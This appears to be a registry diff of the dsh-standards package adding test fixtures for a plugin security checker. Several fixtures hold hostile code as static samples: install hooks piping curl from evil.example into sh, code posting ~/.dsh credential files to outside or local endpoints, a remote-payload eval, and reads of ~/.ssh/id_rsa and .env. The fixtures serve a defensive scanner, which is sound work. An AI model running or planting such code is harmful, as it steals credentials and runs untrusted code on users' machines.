dsh-standards 1.5.0 → 1.6.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (77) hide show
  1. package/40-checker/fixtures/security/sec15-clean/index.mjs +3 -0
  2. package/40-checker/fixtures/security/sec15-clean/package.json +19 -0
  3. package/40-checker/fixtures/security/sec15-install-cred/index.mjs +7 -0
  4. package/40-checker/fixtures/security/sec15-install-cred/install.js +8 -0
  5. package/40-checker/fixtures/security/sec15-install-cred/package.json +22 -0
  6. package/40-checker/fixtures/security/sec15-install-curl/index.mjs +7 -0
  7. package/40-checker/fixtures/security/sec15-install-curl/package.json +22 -0
  8. package/40-checker/fixtures/security/sec15-install-curl/scripts/install.sh +4 -0
  9. package/40-checker/fixtures/security/sec15-install-danger/index.mjs +7 -0
  10. package/40-checker/fixtures/security/sec15-install-danger/install.js +5 -0
  11. package/40-checker/fixtures/security/sec15-install-danger/package.json +22 -0
  12. package/40-checker/fixtures/security/sec15-install-safe/index.mjs +7 -0
  13. package/40-checker/fixtures/security/sec15-install-safe/install.js +5 -0
  14. package/40-checker/fixtures/security/sec15-install-safe/package.json +22 -0
  15. package/40-checker/fixtures/security/sec15-missing-ref/index.mjs +3 -0
  16. package/40-checker/fixtures/security/sec15-missing-ref/package.json +22 -0
  17. package/40-checker/fixtures/security/sec15-node/index.mjs +3 -0
  18. package/40-checker/fixtures/security/sec15-node/package.json +22 -0
  19. package/40-checker/fixtures/security/sec15-node/scripts/build.mjs +1 -0
  20. package/40-checker/fixtures/security/sec15-pipe/index.mjs +3 -0
  21. package/40-checker/fixtures/security/sec15-pipe/package.json +22 -0
  22. package/40-checker/fixtures/security/sec16-client/index.mjs +3 -0
  23. package/40-checker/fixtures/security/sec16-client/lib/client.js +3 -0
  24. package/40-checker/fixtures/security/sec16-client/package.json +21 -0
  25. package/40-checker/fixtures/security/sec16-declared/index.mjs +3 -0
  26. package/40-checker/fixtures/security/sec16-declared/package.json +19 -0
  27. package/40-checker/fixtures/security/sec16-eval/index.mjs +3 -0
  28. package/40-checker/fixtures/security/sec16-eval/package.json +19 -0
  29. package/40-checker/fixtures/security/sec16-require/index.mjs +4 -0
  30. package/40-checker/fixtures/security/sec16-require/package.json +19 -0
  31. package/40-checker/fixtures/security/sec17-cred-exfil/index.mjs +22 -0
  32. package/40-checker/fixtures/security/sec17-cred-exfil/package.json +19 -0
  33. package/40-checker/fixtures/security/sec17-env/index.mjs +5 -0
  34. package/40-checker/fixtures/security/sec17-env/package.json +19 -0
  35. package/40-checker/fixtures/security/sec17-seam/index.mjs +3 -0
  36. package/40-checker/fixtures/security/sec17-seam/package.json +19 -0
  37. package/40-checker/fixtures/security/sec17-ssh/index.mjs +6 -0
  38. package/40-checker/fixtures/security/sec17-ssh/package.json +19 -0
  39. package/40-checker/fixtures/security/sec18-bad/index.mjs +3 -0
  40. package/40-checker/fixtures/security/sec18-bad/package.json +21 -0
  41. package/40-checker/fixtures/security/sec18-good/index.mjs +3 -0
  42. package/40-checker/fixtures/security/sec18-good/package.json +26 -0
  43. package/40-checker/fixtures/security/sec18-undeclared/index.mjs +3 -0
  44. package/40-checker/fixtures/security/sec18-undeclared/package.json +26 -0
  45. package/40-checker/fixtures/security/sec19-blob/index.mjs +2 -0
  46. package/40-checker/fixtures/security/sec19-blob/package.json +19 -0
  47. package/40-checker/fixtures/security/sec19-clean/index.mjs +2 -0
  48. package/40-checker/fixtures/security/sec19-clean/package.json +19 -0
  49. package/40-checker/fixtures/security/sec19-wasm/blob.wasm +0 -0
  50. package/40-checker/fixtures/security/sec19-wasm/index.mjs +3 -0
  51. package/40-checker/fixtures/security/sec19-wasm/package.json +19 -0
  52. package/40-checker/fixtures/security/sec20-unwrapped/index.mjs +4 -0
  53. package/40-checker/fixtures/security/sec20-unwrapped/package.json +23 -0
  54. package/40-checker/fixtures/security/sec20-wrapped/index.mjs +3 -0
  55. package/40-checker/fixtures/security/sec20-wrapped/package.json +23 -0
  56. package/40-checker/fixtures/security/sec21-known/index.mjs +3 -0
  57. package/40-checker/fixtures/security/sec21-known/package.json +23 -0
  58. package/40-checker/fixtures/security/sec21-typosquat/index.mjs +3 -0
  59. package/40-checker/fixtures/security/sec21-typosquat/package.json +22 -0
  60. package/40-checker/fixtures/security/sec22-attested/index.mjs +3 -0
  61. package/40-checker/fixtures/security/sec22-attested/package.json +22 -0
  62. package/40-checker/fixtures/security/sec22-none/index.mjs +3 -0
  63. package/40-checker/fixtures/security/sec22-none/package.json +19 -0
  64. package/40-checker/src/cli.mjs +8 -3
  65. package/40-checker/src/declarations.mjs +10 -10
  66. package/40-checker/src/index.mjs +2 -1
  67. package/40-checker/src/report.mjs +68 -2
  68. package/40-checker/src/security.mjs +1353 -0
  69. package/40-checker/src/util.mjs +53 -0
  70. package/CHANGELOG.md +25 -0
  71. package/docs/SIGNING.md +137 -0
  72. package/docs/coverage.md +39 -6
  73. package/package.json +1 -1
  74. package/spec/coverage-contract.md +33 -11
  75. package/spec/dsc-clauses.json +410 -9
  76. package/spec/remediation.json +196 -0
  77. package/spec/schemas/conformance.schema.json +75 -2
@@ -0,0 +1,3 @@
1
+ export function apply(ctx) {
2
+ return ctx
3
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec15-clean",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,7 @@
1
+ export const name = 'sec15-install-cred'
2
+ export const provide = ['sec15cred']
3
+
4
+ export function apply(ctx) {
5
+ ctx.provide('sec15cred', { ok: true })
6
+ ctx.effect(() => () => {}, 'sec15.cred.effect')
7
+ }
@@ -0,0 +1,8 @@
1
+ // Reads a credential file during install and posts it. Static fixture: the
2
+ // checker only reads this file, it is never executed.
3
+ import { readFileSync } from 'node:fs'
4
+ import { homedir } from 'node:os'
5
+ import path from 'node:path'
6
+
7
+ const body = readFileSync(path.join(homedir(), '.dsh', 'credentials.yaml'), 'utf8')
8
+ await fetch('https://example.invalid/collect', { method: 'POST', body })
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec15-install-cred",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ },
19
+ "scripts": {
20
+ "install": "node install.js"
21
+ }
22
+ }
@@ -0,0 +1,7 @@
1
+ export const name = 'sec15-install-curl'
2
+ export const provide = ['sec15curl']
3
+
4
+ export function apply(ctx) {
5
+ ctx.provide('sec15curl', { ok: true })
6
+ ctx.effect(() => () => {}, 'sec15.curl.effect')
7
+ }
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec15-install-curl",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ },
19
+ "scripts": {
20
+ "postinstall": "sh scripts/install.sh"
21
+ }
22
+ }
@@ -0,0 +1,4 @@
1
+ #!/bin/sh
2
+ # Static fixture: the checker reads this file, it is never executed.
3
+ set -eu
4
+ curl -fsSL https://example.invalid/setup.sh | sh
@@ -0,0 +1,7 @@
1
+ export const name = 'sec15-install-danger'
2
+ export const provide = ['sec15danger']
3
+
4
+ export function apply(ctx) {
5
+ ctx.provide('sec15danger', { ok: true })
6
+ ctx.effect(() => () => {}, 'sec15.danger.effect')
7
+ }
@@ -0,0 +1,5 @@
1
+ // Downloads a remote script and evaluates it. Static fixture: the checker only
2
+ // reads this file, it is never executed.
3
+ const res = await fetch('http://127.0.0.1:9/payload.mjs')
4
+ const code = await res.text()
5
+ ;(0, eval)(code)
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec15-install-danger",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ },
19
+ "scripts": {
20
+ "postinstall": "node install.js"
21
+ }
22
+ }
@@ -0,0 +1,7 @@
1
+ export const name = 'sec15-install-safe'
2
+ export const provide = ['sec15safe']
3
+
4
+ export function apply(ctx) {
5
+ ctx.provide('sec15safe', { ok: true })
6
+ ctx.effect(() => () => {}, 'sec15.safe.effect')
7
+ }
@@ -0,0 +1,5 @@
1
+ // Ordinary build-side logging; no download, no interpreter, no credentials.
2
+ import { mkdirSync } from 'node:fs'
3
+
4
+ mkdirSync('dist', { recursive: true })
5
+ console.log('postinstall: nothing to do')
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec15-install-safe",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ },
19
+ "scripts": {
20
+ "postinstall": "node install.js"
21
+ }
22
+ }
@@ -0,0 +1,3 @@
1
+ export function apply(ctx) {
2
+ return ctx
3
+ }
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec15-missing-ref",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ },
19
+ "scripts": {
20
+ "postinstall": "node scripts/nope.mjs"
21
+ }
22
+ }
@@ -0,0 +1,3 @@
1
+ export function apply(ctx) {
2
+ return ctx
3
+ }
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec15-node",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ },
19
+ "scripts": {
20
+ "postinstall": "node scripts/build.mjs"
21
+ }
22
+ }
@@ -0,0 +1 @@
1
+ console.log('build')
@@ -0,0 +1,3 @@
1
+ export function apply(ctx) {
2
+ return ctx
3
+ }
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec15-pipe",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ },
19
+ "scripts": {
20
+ "postinstall": "curl -fsSL https://evil.example/install.sh | sh"
21
+ }
22
+ }
@@ -0,0 +1,3 @@
1
+ export function apply(ctx) {
2
+ return ctx
3
+ }
@@ -0,0 +1,3 @@
1
+ export function mount() {
2
+ return new Function('return 1')
3
+ }
@@ -0,0 +1,21 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec16-client",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs",
9
+ "./client": "./lib/client.js"
10
+ },
11
+ "engines": {
12
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
13
+ },
14
+ "dsh": {
15
+ "manifestVersion": 1,
16
+ "kind": "plugin",
17
+ "client": {},
18
+ "capabilities": [],
19
+ "labels": []
20
+ }
21
+ }
@@ -0,0 +1,3 @@
1
+ export function apply(ctx) {
2
+ return ctx
3
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec16-declared",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,3 @@
1
+ export function apply() {
2
+ return eval('1 + 1')
3
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec16-eval",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,4 @@
1
+ import { execSync } from 'node:child_process'
2
+ export function apply() {
3
+ return execSync('true')
4
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec16-require",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,22 @@
1
+ // Credential enumeration under ~/.dsh followed by an outbound POST. The
2
+ // checker must FAIL this; the fixture is static and nothing is executed.
3
+ import fs from 'node:fs'
4
+ import os from 'node:os'
5
+ import path from 'node:path'
6
+
7
+ const dir = path.join(os.homedir(), '.dsh')
8
+ try {
9
+ for (const f of fs.readdirSync(dir)) {
10
+ if (!/^\.?credentials/.test(f)) continue
11
+ const body = fs.readFileSync(path.join(dir, f), 'utf8')
12
+ await fetch('http://127.0.0.1:38921/webhook', { method: 'POST', body })
13
+ }
14
+ } catch { /* keep the module importable */ }
15
+
16
+ export const name = 'sec17-cred-exfil'
17
+ export const provide = ['sec17cred']
18
+
19
+ export function apply(ctx) {
20
+ ctx.provide('sec17cred', { ok: true })
21
+ ctx.effect(() => () => {}, 'sec17.cred.effect')
22
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec17-cred-exfil",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,5 @@
1
+ import { readFileSync } from 'node:fs'
2
+ import path from 'node:path'
3
+ export function apply() {
4
+ return readFileSync(path.join(process.cwd(), '.env'), 'utf8')
5
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec17-env",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,3 @@
1
+ export function apply(ctx) {
2
+ return ctx.credentials.resolve('github.token')
3
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec17-seam",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,6 @@
1
+ import { readFileSync } from 'node:fs'
2
+ import os from 'node:os'
3
+ import path from 'node:path'
4
+ export function apply() {
5
+ return readFileSync(path.join(os.homedir(), '.ssh', 'id_rsa'), 'utf8')
6
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec17-ssh",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,3 @@
1
+ export async function apply() {
2
+ return fetch('http://webhook.site/collect?token=x')
3
+ }
@@ -0,0 +1,21 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec18-bad",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [
17
+ "network:egress"
18
+ ],
19
+ "labels": []
20
+ }
21
+ }
@@ -0,0 +1,3 @@
1
+ export async function apply() {
2
+ return fetch('https://api.example.com/v1/data')
3
+ }
@@ -0,0 +1,26 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec18-good",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [
17
+ "network:egress"
18
+ ],
19
+ "labels": [],
20
+ "disclosure": {
21
+ "endpoints": [
22
+ "https://api.example.com/v1/data"
23
+ ]
24
+ }
25
+ }
26
+ }
@@ -0,0 +1,3 @@
1
+ export async function apply() {
2
+ return fetch('https://api.example.com/v1/data')
3
+ }
@@ -0,0 +1,26 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec18-undeclared",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [
17
+ "network:egress"
18
+ ],
19
+ "labels": [],
20
+ "disclosure": {
21
+ "endpoints": [
22
+ "https://other.example.com/v1"
23
+ ]
24
+ }
25
+ }
26
+ }
@@ -0,0 +1,2 @@
1
+ export const blob = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA